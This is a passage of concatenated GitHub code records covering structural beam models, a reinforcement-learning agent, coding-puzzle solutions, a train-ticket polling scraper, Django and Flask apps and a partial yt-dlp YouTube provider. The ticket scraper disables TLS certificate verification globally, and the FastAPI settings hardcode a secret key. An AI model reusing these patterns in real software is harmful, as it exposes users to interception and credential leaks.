np.sin(node_angles)]).T\n for r in node_points:\n p.get_or_create_node(r)\n for n1, n2 in zip(p.nodes, p.nodes[1:]):\n p.create_beam(n1, n2, E=2.1e5, A=10, I=10**3/12)\n\n p.reassign_dofs()\n p.constrained_dofs = np.array([0, 1, 3*N - 3, 3*N - 1])\n p.load_node(p.nodes[-1], np.array([0, -3600, 0]))\n\n p.pin(p.nodes[0])\n p.glider(p.nodes[-1])\n\n self.dss.autoscale()\n\n def deep_arch(self):\n self.dss.new_problem()\n p = self.dss.problem\n N = 17\n dofs = 2*(3*N - 2,)\n start = np.pi - np.arctan(600/800)\n end = np.pi + np.arctan(600/800)\n\n node_angles = np.linspace(start, end, N)\n node_points = 1000*np.array([np.sin(node_angles), -np.cos(node_angles)]).T\n for r in node_points:\n p.get_or_create_node(r)\n for n1, n2 in zip(p.nodes, p.nodes[1:]):\n p.create_beam(n1, n2, E=2.1e5, A=10, I=10**3/12)\n\n p.reassign_dofs()\n #p.constrained_dofs = np.array([0, 1, 3*N-2, 3*N-1])\n p.load_node(p.nodes[len(p.nodes)//2], np.array([0, -1000, 0]))\n\n p.pin(p.nodes[0])\n p.pin(p.nodes[-1])\n\n self.dss.autoscale()\n\n def von_mises_truss(self):\n self.dss.new_problem()\n p = self.dss.problem\n n1 = p.get_or_create_node((0,0))\n n2 = p.get_or_create_node((1000,200))\n p.create_beam(n1, n2, A=10)\n p.pin(n1)\n p.roller90(n2)\n p.load_node(n2, np.array([0, -10000, 0]))\n self.dss.autoscale()\n\n def von_mises_truss_snapback(self):\n self.dss.new_problem()\n p = self.dss.problem\n n1 = p.get_or_create_node((0, 0))\n n2 = p.get_or_create_node((1000, 200))\n n3 = p.get_or_create_node((1000, 600))\n p.create_beam(n1, n2, A=10)\n p.create_rod(n2, n3, A=0.05)\n p.pin(n1)\n p.roller90(n2)\n p.glider(n3)\n p.load_node(n3, np.array([0, -4000, 0]))\n self.dss.autoscale()\n\n def von_mises_truss_springbc(self):\n self.dss.new_problem()\n p = self.dss.problem\n n1 = p.get_or_create_node((0, 0))\n n2 = p.get_or_create_node((1000, 200))\n n3 = p.get_or_create_node((1000, 600))\n n4 = p.get_or_create_node((0, 400))\n p.create_beam(n1, n2, A=10)\n p.create_rod(n2, n3, A=0.05)\n p.create_rod(n1, n4, A=0.05)\n p.fix(n4)\n p.roller90(n1)\n p.roller90(n2)\n p.glider(n3)\n p.load_node(n3, np.array([0, -4000, 0]))\n self.dss.autoscale()\n\n def standing_rod(self):\n self.dss.new_problem()\n p = self.dss.problem\n n1 = p.get_or_create_node((0,0))\n n2 = p.get_or_create_node((0,1000))\n p.create_rod(n1, n2, A=10)\n p.glider(n1)\n p.fix(n2)\n p.load_node(n1, np.array([0, 1e6, 0]))\n\n self.dss.autoscale()\n\n def arch_270(self):\n self.dss.new_problem()\n p = self.dss.problem\n start = np.deg2rad(225)\n end = np.deg2rad(-45)\n n = 31\n node_angles = np.linspace(start, end, n)\n node_points = 500 * np.array([np.cos(node_angles), np.sin(node_angles)]).T + np.array([0, 500])\n\n for r1, r2 in zip(node_points, node_points[1:]):\n p.create_beam(r1, r2)\n\n p.pin(p.nodes[0])\n p.fix(p.nodes[-1])\n p.load_node(p.nodes[n//2], np.array([0, -200000, 0]))\n self.dss.autoscale()\n\n def pendulum(self):\n self.dss.new_problem()\n p = self.dss.problem\n n1 = p.get_or_create_node((0, 0))\n n2 = p.get_or_create_node((1000, 0))\n p.create_rod(n1, n2)\n p.pin(n1)\n\n self.dss.autoscale()\n\n def get_model(self, caller, model = 1):\n caller.new_problem()\n if model == 1: # Cantilever beam, point load\n caller.problem.create_beams((0,0), (1000,0), n=4)\n caller.problem.fix(caller.problem.node_at((0,0)))\n\n\n if model == 2: # Simply supported beam, no load\n caller.problem.create_beams((0,0), (1000,0))\n caller.problem.pin(caller.problem.node_at((0,0)))\n caller.problem.roller(caller.problem.node_at((1000,0)))\n\n\n if model == 3: # Fanned out cantilever elements with load=10 distr loads\n for point in ((1000,0),(707,-707),(0,-1000),(-707,-707),(-1000,0)):\n caller.problem.create_beams((0,0),point, n=2)\n caller.problem.load_members_distr((0,0),point, load=10)\n\n caller.problem.fix(caller.problem.node_at((0,0)))\n\n if model == 4: # Circular arch\n start = np.pi - np.arctan(600 / 800)\n end = np.arctan(600 / 800)\n\n node_angles = np.linspace(start, end, 15)\n node_points = 1000 * np.array([np.cos(node_angles), np.sin(node_angles)]).T + np.array([800,-1600])\n for r1, r2 in zip(node_points, node_points[1:]):\n caller.problem.create_beam(r1, r2, E=2.1e5, I=10**3/12, A=10)\n caller.problem.pin(caller.problem.node_at((0,0)))\n caller.problem.pin(caller.problem.node_at((1600,0)))\n for node in caller.problem.nodes:\n node.draw = False\n\n if model == 5: # 270 degree arch\n start = np.deg2rad(225)\n end = np.deg2rad(-45)\n node_angles = np.linspace(start, end, 31)\n node_points = 500 * np.array([np.cos(node_angles), np.sin(node_angles)]).T + [0, 500]\n\n for r1, r2 in zip(node_points, node_points[1:]):\n caller.problem.create_beam(r1, r2)\n\n for node in caller.problem.nodes:\n node.draw = False\n\n caller.upd_rsmenu()\n caller.autoscale()\n","repo_name":"maglunengineering/dssolver","sub_path":"plugins.py","file_name":"plugins.py","file_ext":"py","file_size_in_byte":9300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"738011042","text":"import os \n\nimport numpy as np\nfrom keras.optimizers import Adam\nfrom rl.agents.dqn import DQNAgent\nfrom rl.policy import LinearAnnealedPolicy, BoltzmannQPolicy, EpsGreedyQPolicy\nfrom rl.memory import SequentialMemory\nfrom rl.core import Processor\nfrom rl.callbacks import FileLogger, ModelIntervalCheckpoint, TrainIntervalLogger\n\nWINDOW_LENGTH = 1\n\nNB_STEPS\t\t\t\t= 150000#1000000\nMEMORY_LIMIT\t\t\t= NB_STEPS\nNB_STEPS_WARMUP\t\t\t= NB_STEPS * 0.1# NB_STEPS * 0.05\nTARGET_MODEL_UPDATE\t\t= NB_STEPS * 0.01\n\nINTERVAL_CALLBACK\t\t= NB_STEPS * 0.25\nFILE_LOGGER_INTERVAL\t= 100\n\nEPS_GREEDY_NB_STEPS\t\t= NB_STEPS * 0.3\nFIT_LOG_INTERVAL\t\t= NB_STEPS * 0.01\n\nenv_name = \"game_th\"\nweights_filename\t\t\t\t= 'tmp/dqn_{}_weights.h5f'.format(env_name)\ncheckpoint_weights_filename\t\t= 'tmp/dqn_' + env_name + '_weights_{step}.h5f'\nlog_filename\t\t\t\t\t= 'tmp/dqn_{}_log.json'.format(env_name)\nmodel_filename\t\t\t\t\t= 'tmp/model.h5'\n\n\nclass AgentProcessor(Processor):\n\tdef process_reward(self, reward):\n\t\t# print(\"reward \" + str(reward))\n\t\treturn np.clip(reward, -1., 1.)\n\n\nclass AgentWrapper():\n\tdef __init__(self,env,nnet,nb_actions):\n\t\tmodel = nnet.model\n\n\t\t# keras-rl\n\t\tmemory = SequentialMemory(limit=MEMORY_LIMIT, window_length=WINDOW_LENGTH)\n\t\tpolicy = LinearAnnealedPolicy(EpsGreedyQPolicy(), attr='eps', value_max=1., value_min=.1, value_test=.05,\n\t\t nb_steps=EPS_GREEDY_NB_STEPS)\n\t\tdqn = DQNAgent(model=model, nb_actions=nb_actions, policy=policy, memory=memory,\n\t\t nb_steps_warmup=NB_STEPS_WARMUP, target_model_update=TARGET_MODEL_UPDATE)# gamma=.99, train_interval=4, delta_clip=1.\n\t\tdqn.compile(Adam(lr=.00025), metrics=['mae'])\n\n\t\tself.processor = AgentProcessor()\n\t\tdqn.processor = self.processor\n\n\t\t#for training\n\n\t\tself.env = env\n\t\tself.dqn = dqn\n\n\tdef save_weights(self):\n\t\tself.dqn.save_weights(weights_filename, overwrite=True)\n\n\tdef save_model(self):\n\t\tself.dqn.model.save(model_filename)\n\n\tdef load_weights(self):\n\t\tif os.path.exists(weights_filename):\n\t\t\tprint(\"Loading from \" + weights_filename)\n\t\t\tself.dqn.load_weights(weights_filename)\n\t\telse:\n\t\t\tprint(weights_filename + \" not found\")\n\n\tdef train(self):\n\t\tcallbacks = [\n\t\t\tModelIntervalCheckpoint(checkpoint_weights_filename, interval=INTERVAL_CALLBACK),\n\t\t\tFileLogger(log_filename, interval=FILE_LOGGER_INTERVAL)\n\t\t]\n\t\tself.dqn.fit(self.env, callbacks=callbacks, nb_steps=NB_STEPS, log_interval=FIT_LOG_INTERVAL)\n\n\tdef test(self):\n\t\tself.dqn.test(env, nb_episodes=10, visualize=True)\n","repo_name":"0x384c0/Experiments-RL","sub_path":"keras-rl/game_th/AgentWrapper.py","file_name":"AgentWrapper.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38744994308","text":"N, K = map(int, input().split())\narr = [x for x in range(1, N + 1)]\nans = []\n\nidx = K - 1\n\nwhile len(arr) > 0:\n n = len(arr)\n \n while idx >= n:\n idx -= n\n \n ans.append(str(arr[idx]))\n del(arr[idx])\n \n idx += K - 1\n \nprint(f'<{\", \".join(ans)}>')","repo_name":"Syun9274/Baekjoon_Python","sub_path":"B_11000/B11866.py","file_name":"B11866.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38165447098","text":"import pandas as pd\r\nimport glob\r\nimport csv\r\nfrom itertools import dropwhile, takewhile\r\n\r\nmetric = pd.read_csv(r\"F:\\Projekty\\covid\\metric.csv\")\r\ncntr = pd.read_csv(r\"F:\\Projekty\\covid\\cntr.csv\")\r\n\r\nmt = metric.set_index(['FIPS','country'])\r\ncnt = cntr.set_index(['FIPS','country'])\r\nmaster = mt.merge(cnt.iloc[:,-1], left_index=True, right_index=True)\r\n\r\nresult = pd.DataFrame()\r\nresult['M1'] = (master['cases']/master['day10']).astype(str) + ';' + (master['cases']*master['day10']).astype(str)\r\nresult['M4'] = (master['metric']*master['day10']).astype(str) + ';' + (master['metric']/master['day10']).astype(str)\r\nresult['M3'] = master['cases']\r\n\r\nfin = result.reset_index().melt(['FIPS','country'], var_name='Metric', value_name='Value')\r\nfin[['Metric','MOE']] = fin['Value'].apply(lambda x: pd.Series(str(x).split(\";\")))\r\n#for DATA2\r\n\r\ndef group_by_state(df):\r\n df2 = df.groupby('country').sum().drop(columns=\"FIPS\")\r\n return df2\r\n\r\ndef make_percentage(dfs, period, name):\r\n total= pd.DataFrame()\r\n for i in dfs:\r\n dd = i.reset_index().set_index(['country','Metric']).pct_change(axis=1,periods=period)*100\r\n total = total.append(dd)\r\n result = total.reset_index().melt(['country','Metric'],var_name='Date', value_name=name)\r\n return result\r\n\r\ndef timeseries_metrics(covid_cases,metrics):\r\n\r\n cnt = group_by_state(covid_cases)\r\n mt = group_by_state(metrics)\r\n mt = mt[['metric','cases']]\r\n cnt = mt.merge(cnt, left_index=True, right_index=True).drop(columns=[\"metric\",\"cases\"])\r\n cnt_no = cnt[cnt.select_dtypes(include=['number']).columns]\r\n\r\n new1 = cnt_no.diff(axis=1, periods=4)\r\n new2 = new1.divide(mt['cases'], axis=\"index\")\r\n new3 = cnt_no.divide(mt['metric'],axis='index')\r\n\r\n new1['Metric'] = 'difference'\r\n new2['Metric'] = 'difference | cases'\r\n new3['Metric'] = 'difference | metric'\r\n\r\n new = cnt_no.append([new1, new2, new3]).reset_index().melt(['country','Metric'], var_name='Date', value_name='Value')\r\n\r\n dfs = [new1, new2, new3]\r\n day = make_percentage(dfs, 1, 'Day-to-day')\r\n week = make_percentage(dfs, 7, 'Week-to-week')\r\n\r\n result = new.merge(day, on=['country','Metric','Date']).merge(week,on=['country','Metric','Date'])\r\n\r\n return result\r\n\r\n\r\n\r\ndatafr = timeseries_metrics(cntr,metric)\r\n","repo_name":"kowek/abnb","sub_path":"abnb_analysis.py","file_name":"abnb_analysis.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"39522396240","text":"'''\n author: Sun Hai Lang\n date: 2019-09-10\n'''\n\nimport requests, time, datetime\nimport ssl\n\nimport sys, os, json\no_path = os.getcwd()\nsys.path.append(o_path)\n\nimport operator\n\nimport urllib3\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\nfrom MyThread import MyThread\n\n\nurllib3.disable_warnings() #不显示警告信息\nssl._create_default_https_context = ssl._create_unverified_context\nreq = requests.Session()\n\nclass LeftqueryUtil(object):\n def __init__(self, requestUtil):\n self.requestUtil = requestUtil\n self.url_station = 'https://kyfw.12306.cn/otn/resources/js/framework/station_name.js'\n self.headers = {\n 'Host': 'kyfw.12306.cn',\n 'If-Modified-Since': '0',\n 'Pragma': 'no-cache',\n 'Referer': 'https://kyfw.12306.cn/otn/leftTicket/init',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',\n 'X-Requested-With': 'XMLHttpRequest'\n }\n \n def station_name(self, station):\n '''获取车站简拼'''\n html = requests.get(self.url_station, verify=False).text\n result = html.split('@')[1:]\n dict = {}\n for i in result:\n key = str(i.split('|')[1])\n value = str(i.split('|')[2])\n dict[key] = value\n return dict[station]\n\n def query(self, from_station, to_station, date):\n '''余票查询'''\n fromstation = self.station_name(from_station)\n tostation = self.station_name(to_station)\n print('from station name: {} -> {}'.format(from_station, fromstation))\n print('to station name: {} -> {}'.format(to_station, tostation))\n # https://kyfw.12306.cn/otn/leftTicket/queryA?leftTicketDTO.train_date=2019-09-20&leftTicketDTO.from_station=UUH&leftTicketDTO.to_station=SHH&purpose_codes=ADULT\n url = 'https://kyfw.12306.cn/otn/leftTicket/queryA?leftTicketDTO.train_date={}&leftTicketDTO.from_station={}&leftTicketDTO.to_station={}&purpose_codes=ADULT'.format(\n date, fromstation, tostation\n )\n print('url: ', url)\n try:\n html_req = requests.get(url, headers=self.headers, verify=False)\n print(html_req.status_code)\n html = json.loads(html_req.content)\n result = html['data']['result']\n if result == []:\n print('很抱歉,没有查到符合当前条件的列车!')\n exit()\n else:\n print(date + from_station + '-' + to_station + '查询成功!')\n # 打印出所有车次信息\n num = 1 # 用于给车次编号,方便选择要购买的车次\n for i in result:\n info = i.split('|')\n if info[0] != '' and info[0] != 'null':\n trainNum = info[3]\n startTime = info[8]\n endTime = info[9]\n if trainNum.find(\"G\") != -1:\n if (startTime >= \"12:00\") and ((info[30] != '无' and info[30] != '') or (info[26] != '' and info[26] != '无')):\n print(str(num) + '.' + info[3] + '车次还有余票:')\n print('出发时间:' + startTime + ' 到达时间:' + endTime + ' 历时多久:' + info[10] + ': -> 二等座:{}, 无座:{}'.format(info[30], info[26]), end='')\n seat = {21: '高级软卧', 23: '软卧', 26: '无座', 28: '硬卧', 29: '硬座', 30: '二等座', 31: '一等座', 32: '商务座',\n 33: '动卧'}\n os.system('say \"your program has finish\"')\n '''\n from_station_no = info[16]\n to_station_no = info[17]\n\n for j in seat.keys():\n if info[j] != '无' and info[j] != '':\n if info[j] == '有':\n print(seat[j] + ':有票 ', end='')\n else:\n print(seat[j] + ':有' + info[j] + '张票 ', end='')\n '''\n print('\\n')\n '''\n elif info[1] == '预订':\n print(str(num) + '.' + info[3] + '车次暂时没有余票')\n elif info[1] == '列车停运':\n print(str(num) + '.' + info[3] + '车次列车停运')\n elif info[1] == '23:00-06:00系统维护时间':\n print(str(num) + '.' + info[3] + '23:00-06:00系统维护时间')\n else:\n print(str(num) + '.' + info[3] + '车次列车运行图调整,暂停发售')\n '''\n num += 1\n return result\n except:\n return 'query error.'\n\n\ndef querayThread(args={}):\n queray = args[\"queray\"]\n while True:\n try:\n info = queray.query(from_station, to_station, date)\n # print(info)\n print(datetime.datetime.now())\n time.sleep(5)\n except :\n pass\n os.system('say \"end\"')\n\n\nif __name__ == \"__main__\":\n print('Strat Tickets')\n headers = {\n 'Host': 'kyfw.12306.cn',\n 'If-Modified-Since': '0',\n 'Pragma': 'no-cache',\n 'Referer': 'https://kyfw.12306.cn/otn/leftTicket/init',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',\n 'X-Requested-With': 'XMLHttpRequest'\n }\n index_url = 'https://www.12306.cn/index/'\n html_index = requests.get(index_url,headers=headers, verify=False)\n print(html_index.status_code)\n queray = LeftqueryUtil(requests)\n from_station = '宿州东'\n to_station = '上海'\n date = '2019-10-07'\n\n thread1 = MyThread().createThread(querayThread, args={\"queray\":queray})\n thread1.start()\n thread1.join()\n \n ","repo_name":"SunHailang/SoftLiu_PythonServerIO","sub_path":"RequestUtil/LeftqueryUtil.py","file_name":"LeftqueryUtil.py","file_ext":"py","file_size_in_byte":6280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18227059563","text":"from io import StringIO\n\nimport pytest\nfrom django.core.management import call_command\n\nfrom checks.checks import INTERNAL_ERROR_MESSAGE\nfrom checks.tests.factories import TrackedModelCheckFactory\nfrom common.tests.factories import WorkBasketFactory\n\npytestmark = pytest.mark.django_db\n\n\ndef test_override_check_success():\n model_check = TrackedModelCheckFactory.create(\n successful=False,\n message=INTERNAL_ERROR_MESSAGE,\n )\n workbasket = model_check.transaction_check.transaction.workbasket\n\n out = StringIO()\n call_command(\n \"override_check\",\n f\"{workbasket.pk}\",\n f\"{model_check.pk}\",\n stdout=out,\n )\n\n assert \"both set as successful\" in out.getvalue()\n\n\ndef test_override_check_workbasket_mismatch():\n model_check = TrackedModelCheckFactory.create(\n successful=False,\n message=INTERNAL_ERROR_MESSAGE,\n )\n mismatching_workbasket = WorkBasketFactory.create()\n\n out = StringIO()\n with pytest.raises(SystemExit):\n call_command(\n \"override_check\",\n f\"{mismatching_workbasket.pk}\",\n f\"{model_check.pk}\",\n stdout=out,\n )\n\n assert (\n f\"Model check {model_check.pk} is not associated with workbasket\"\n in out.getvalue()\n )\n\n\ndef test_override_check_invalid_error():\n model_check = TrackedModelCheckFactory.create(\n successful=False,\n )\n workbasket = model_check.transaction_check.transaction.workbasket\n\n out = StringIO()\n with pytest.raises(SystemExit):\n call_command(\n \"override_check\",\n f\"{workbasket.pk}\",\n f\"{model_check.pk}\",\n stdout=out,\n )\n\n assert (\n f\"Model check {model_check.id} appears to be a valid error. \" in out.getvalue()\n )\n\n\ndef test_override_check_tranx_check_not_completed():\n model_check = TrackedModelCheckFactory.create(\n successful=False,\n message=INTERNAL_ERROR_MESSAGE,\n )\n tranx_check = model_check.transaction_check\n tranx_check.completed = False\n tranx_check.successful = None\n tranx_check.save()\n workbasket = tranx_check.transaction.workbasket\n\n out = StringIO()\n call_command(\n \"override_check\",\n f\"{workbasket.pk}\",\n f\"{model_check.pk}\",\n stdout=out,\n )\n\n assert (\n f\"Related transaction check, {tranx_check.pk}, has not completed \"\n in out.getvalue()\n )\n","repo_name":"uktrade/tamato","sub_path":"workbaskets/tests/test_commands.py","file_name":"test_commands.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"60"} +{"seq_id":"8426786940","text":"from flask import Flask, render_template, request\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom stories import stories\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'secret'\n\ndebug = DebugToolbarExtension(app)\n\n@app.route('/')\ndef ask_story():\n '''Show list of story forms'''\n\n return render_template('select-story.html', stories=stories.values())\n\n@app.route('/questions')\ndef ask_questions():\n '''Show form asking for words'''\n\n story_id = request.args['story_id']\n story = stories[story_id]\n\n prompts = story.prompts\n\n return render_template('questions.html', story_id=story_id, title=story.title, prompts=prompts)\n\n@app.route('/story')\ndef show_story():\n '''Show resulting story'''\n\n story_id = request.args[\"story_id\"]\n story = stories[story_id]\n\n text = story.generate(request.args)\n\n return render_template('story.html', title=story.title, text=text)","repo_name":"Zanderfeldt/Springboard-Exercises","sub_path":"19-Flask/19.2-Flask-Jinja/flask-madlibs-exercise/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"1933791367","text":"from keras.models import load_model\nfrom .sketch_keras.helper import *\n\nclass SketchModel:\n def __init__(self, weight_path):\n self.mod = load_model(weight_path)\n\n def process(self, input_image):\n width = float(input_image.shape[1])\n height = float(input_image.shape[0])\n new_width = 0\n new_height = 0\n if (width > height):\n from_mat = cv2.resize(input_image, (512, int(512 / width * height)), interpolation=cv2.INTER_AREA)\n new_width = 512\n new_height = int(512 / width * height)\n else:\n from_mat = cv2.resize(input_image, (int(512 / height * width), 512), interpolation=cv2.INTER_AREA)\n new_width = int(512 / height * width)\n new_height = 512\n # cv2.imshow('raw', from_mat)\n # cv2.imwrite('raw.jpg',from_mat)\n from_mat = from_mat.transpose((2, 0, 1))\n light_map = np.zeros(from_mat.shape, dtype=np.float)\n for channel in range(3):\n light_map[channel] = get_light_map_single(from_mat[channel])\n light_map = normalize_pic(light_map)\n light_map = resize_img_512_3d(light_map)\n line_mat = self.mod.predict(light_map, batch_size=1)\n line_mat = line_mat.transpose((3, 1, 2, 0))[0]\n line_mat = line_mat[0:int(new_height), 0:int(new_width), :]\n # show_active_img_and_save('sketchKeras_colored', line_mat, 'sketchKeras_colored.jpg')\n line_mat = np.amax(line_mat, 2)\n\n return line_mat","repo_name":"phv2312/anime_colorization","sub_path":"libs/nn/sketch_model.py","file_name":"sketch_model.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"10365634030","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('booking', '0004_treatment_thumb_image'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='treatment',\n name='full_description',\n ),\n ]\n","repo_name":"headphonesjones/Blohaute","sub_path":"booking/migrations/0005_remove_treatment_full_description.py","file_name":"0005_remove_treatment_full_description.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"2455928598","text":"import crosslang_embed\n\nphrase_list = ['hi', 'hello', 'bon nuit', 'bonjourno', 'boujour', 'bon soir', 'good night',\n 'good evening']\n\n\nmph = crosslang_embed.MultilangPhrase()\n\n# translate and embed phrases\nmph.process_phrases(phrase_list)\n\n# Show languages and translations for all phrases ---\n\nprint(mph.dfmain)\n\n# Find matches for any single phrase ---\n\nprint(\"find_matches_index:\",\"salut\")\ndf = mph.find_matches_index(\"salut\", )\nprint( df[ df.dist<1.2].head(30) )\n\n\nprint(\"find_matches_index:\",\"good evening\")\ndf = mph.find_matches_index(\"good evening\",)\nprint( df[ df.dist<1.2].head(10) )\n\n\n\n# Plot phrases to see clustering ---\n\nmph.umap_embeddings()\n\nmph.plot_embeddings()\n\n","repo_name":"pathway/crosslang_embed","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"32317589006","text":"from pydantic import BaseSettings\n\nclass Settings(BaseSettings):\n app_name: str = \"Awesome API\"\n admin_email: str = \"some mail\"\n DB_USER:str\n DB_URL:str\n DB_URL_TEST:str\n SECRET_KEY: str = \"09d25e094faa6ca2556c818166b7a9563b93f7099f6f0f4caa6cf63b88e8d3e7\"\n \n\n class Config:\n env_file = \".env\"\n\n\nsettings = Settings()\n\n\n\n\"\"\"\n\ngnerar la secret key\n\n# to get a string like this run:\n# openssl rand -hex 32\n\n\"\"\"","repo_name":"MNGARCIA085/Fast-API---Fisrt-projects","sub_path":"FASTAPI-AUTH/app/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"44399820846","text":"N=input().split('-')\nl=[]\nfor i in range(len(N)):\n p=N[i].split('+')\n if len(p)>1: # 문자안에 + 가 있어서 나누어진 경우\n sum=0\n for j in range(len(p)):\n sum+=int(p[j])\n l.append(sum)\n else: # + 가 없고 숫자만 있었던 경우\n l.append(int(N[i]))\na=l[0]\nfor j in range(1,len(l)):\n a-=l[j]\nprint(a)\n\n\n ","repo_name":"soohyun-dev/Algorithm_Python","sub_path":"백준/Class/Class3/1541.py","file_name":"1541.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"69818679870","text":"n=int(input(\"Enter the number of students\"))\r\narr=[]\r\nfor i in range(n):\r\n arr.append(float(input()))\r\n #print(arr)\r\n\r\navg=float(sum(arr)/n)\r\navg=round(avg,3)\r\nsol=0.00\r\nfor i in range(n):\r\n if arr[i]>avg:\r\n sol+=(arr[i]-avg)\r\nprint(\"$\",(sol))\r\n","repo_name":"Aayeshahote/Python-C-C--02","sub_path":"Prog2/Trip/trip.py","file_name":"trip.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"26237172029","text":"\"\"\"This module contains all Youtube related code.\"\"\"\n# We need to access yt-dlp's internal methods for some features\n# pylint: disable=protected-access\n\nfrom __future__ import annotations\n\nimport errno\nimport json\nimport logging\nimport os\nimport pickle\nimport subprocess\nimport urllib.parse\nfrom contextlib import contextmanager\nfrom typing import Any, Dict, Iterator, List, Optional, cast\nfrom urllib.parse import parse_qs, urlparse\n\nimport requests\nimport yt_dlp\nfrom django.conf import settings\nfrom django.http.response import HttpResponse\n\nfrom core.musiq import musiq, song_utils\nfrom core.musiq.playlist_provider import PlaylistProvider\nfrom core.musiq.song_provider import SongProvider\nfrom core.settings import storage\n\n\n@contextmanager\ndef youtube_session() -> Iterator[requests.Session]:\n \"\"\"This context opens a requests session and loads the youtube cookies file.\"\"\"\n\n cookies_path = os.path.join(settings.BASE_DIR, \"config/youtube_cookies.pickle\")\n session = requests.session()\n # Have yt-dlp deal with consent cookies etc to setup a valid session\n extractor = yt_dlp.extractor.youtube.YoutubeIE()\n extractor._downloader = yt_dlp.YoutubeDL()\n extractor.initialize()\n session.cookies.update(extractor._downloader.cookiejar)\n\n try:\n if os.path.getsize(cookies_path) > 0:\n with open(cookies_path, \"rb\") as cookies_file:\n session.cookies.update(pickle.load(cookies_file))\n except FileNotFoundError:\n pass\n\n headers = {\"User-Agent\": yt_dlp.utils.random_user_agent()}\n session.headers.update(headers)\n yield session\n\n with open(cookies_path, \"wb\") as cookies_file:\n pickle.dump(session.cookies, cookies_file)\n\n\nclass YoutubeDLLogger:\n \"\"\"This logger class is used to log process of yt-dlp downloads.\"\"\"\n\n @classmethod\n def debug(cls, msg: str) -> None:\n \"\"\"This method is called if yt-dlp does debug level logging.\"\"\"\n logging.debug(msg)\n\n @classmethod\n def warning(cls, msg: str) -> None:\n \"\"\"This method is called if yt-dlp does warning level logging.\"\"\"\n logging.debug(msg)\n\n @classmethod\n def error(cls, msg: str) -> None:\n \"\"\"This method is called if yt-dlp does error level logging.\"\"\"\n logging.error(msg)\n\n\nclass Youtube:\n \"\"\"This class contains code for both the song and playlist provider\"\"\"\n\n @staticmethod\n def get_ydl_opts() -> Dict[str, Any]:\n \"\"\"This method returns a dictionary containing sensible defaults for yt-dlp options.\n It is roughly equivalent to the following command:\n yt-dlp --format bestaudio[ext=m4a]/best[ext=m4a] --output '%(id)s.%(ext)s' \\\n --no-playlist --no-cache-dir --write-thumbnail --default-search auto \\\n --add-metadata --embed-thumbnail\n \"\"\"\n postprocessors = [\n {\"key\": \"FFmpegMetadata\"},\n {\n \"key\": \"EmbedThumbnail\",\n # overwrite any thumbnails already present\n \"already_have_thumbnail\": True,\n },\n ]\n return {\n \"format\": \"bestaudio[ext=m4a]/best[ext=m4a]\",\n \"outtmpl\": os.path.join(settings.SONGS_CACHE_DIR, \"%(id)s.%(ext)s\"),\n \"noplaylist\": True,\n \"cachedir\": False,\n \"no_color\": True,\n \"writethumbnail\": True,\n \"default_search\": \"auto\",\n \"postprocessors\": postprocessors,\n \"logger\": YoutubeDLLogger(),\n }\n\n @staticmethod\n def _get_initial_data(html: str) -> Dict[str, Any]:\n for line in html.split(\"\\n\"):\n line = line.strip()\n before = \"var ytInitialData = \"\n after = \"; List[str]:\n \"\"\"Returns a list of suggestions for the given query from Youtube.\"\"\"\n with youtube_session() as session:\n params = {\n \"client\": \"youtube\",\n \"q\": query[:100], # queries longer than 100 characters are not accepted\n \"xhr\": \"t\", # this makes the response be a json file\n }\n response = session.get(\n \"https://clients1.google.com/complete/search\", params=params\n )\n suggestions = json.loads(response.text)\n # first entry is the query, the second one contains the suggestions\n suggestions = suggestions[1]\n # suggestions are given as tuples\n # extract the string and skip the query if it occurs identically\n suggestions = [\n entry[0]\n for entry in suggestions\n if entry[0] != query and not song_utils.is_forbidden(entry[0])\n ]\n return suggestions\n\n\nclass YoutubeSongProvider(SongProvider, Youtube):\n \"\"\"This class handles songs from Youtube.\"\"\"\n\n @staticmethod\n def get_id_from_external_url(url: str) -> str:\n return parse_qs(urlparse(url).query)[\"v\"][0]\n\n def __init__(self, query: Optional[str], key: Optional[int]) -> None:\n self.type = \"youtube\"\n super().__init__(query, key)\n self.info_dict: Dict[str, Any] = {}\n self.ydl_opts = Youtube.get_ydl_opts()\n\n def check_cached(self) -> bool:\n if not 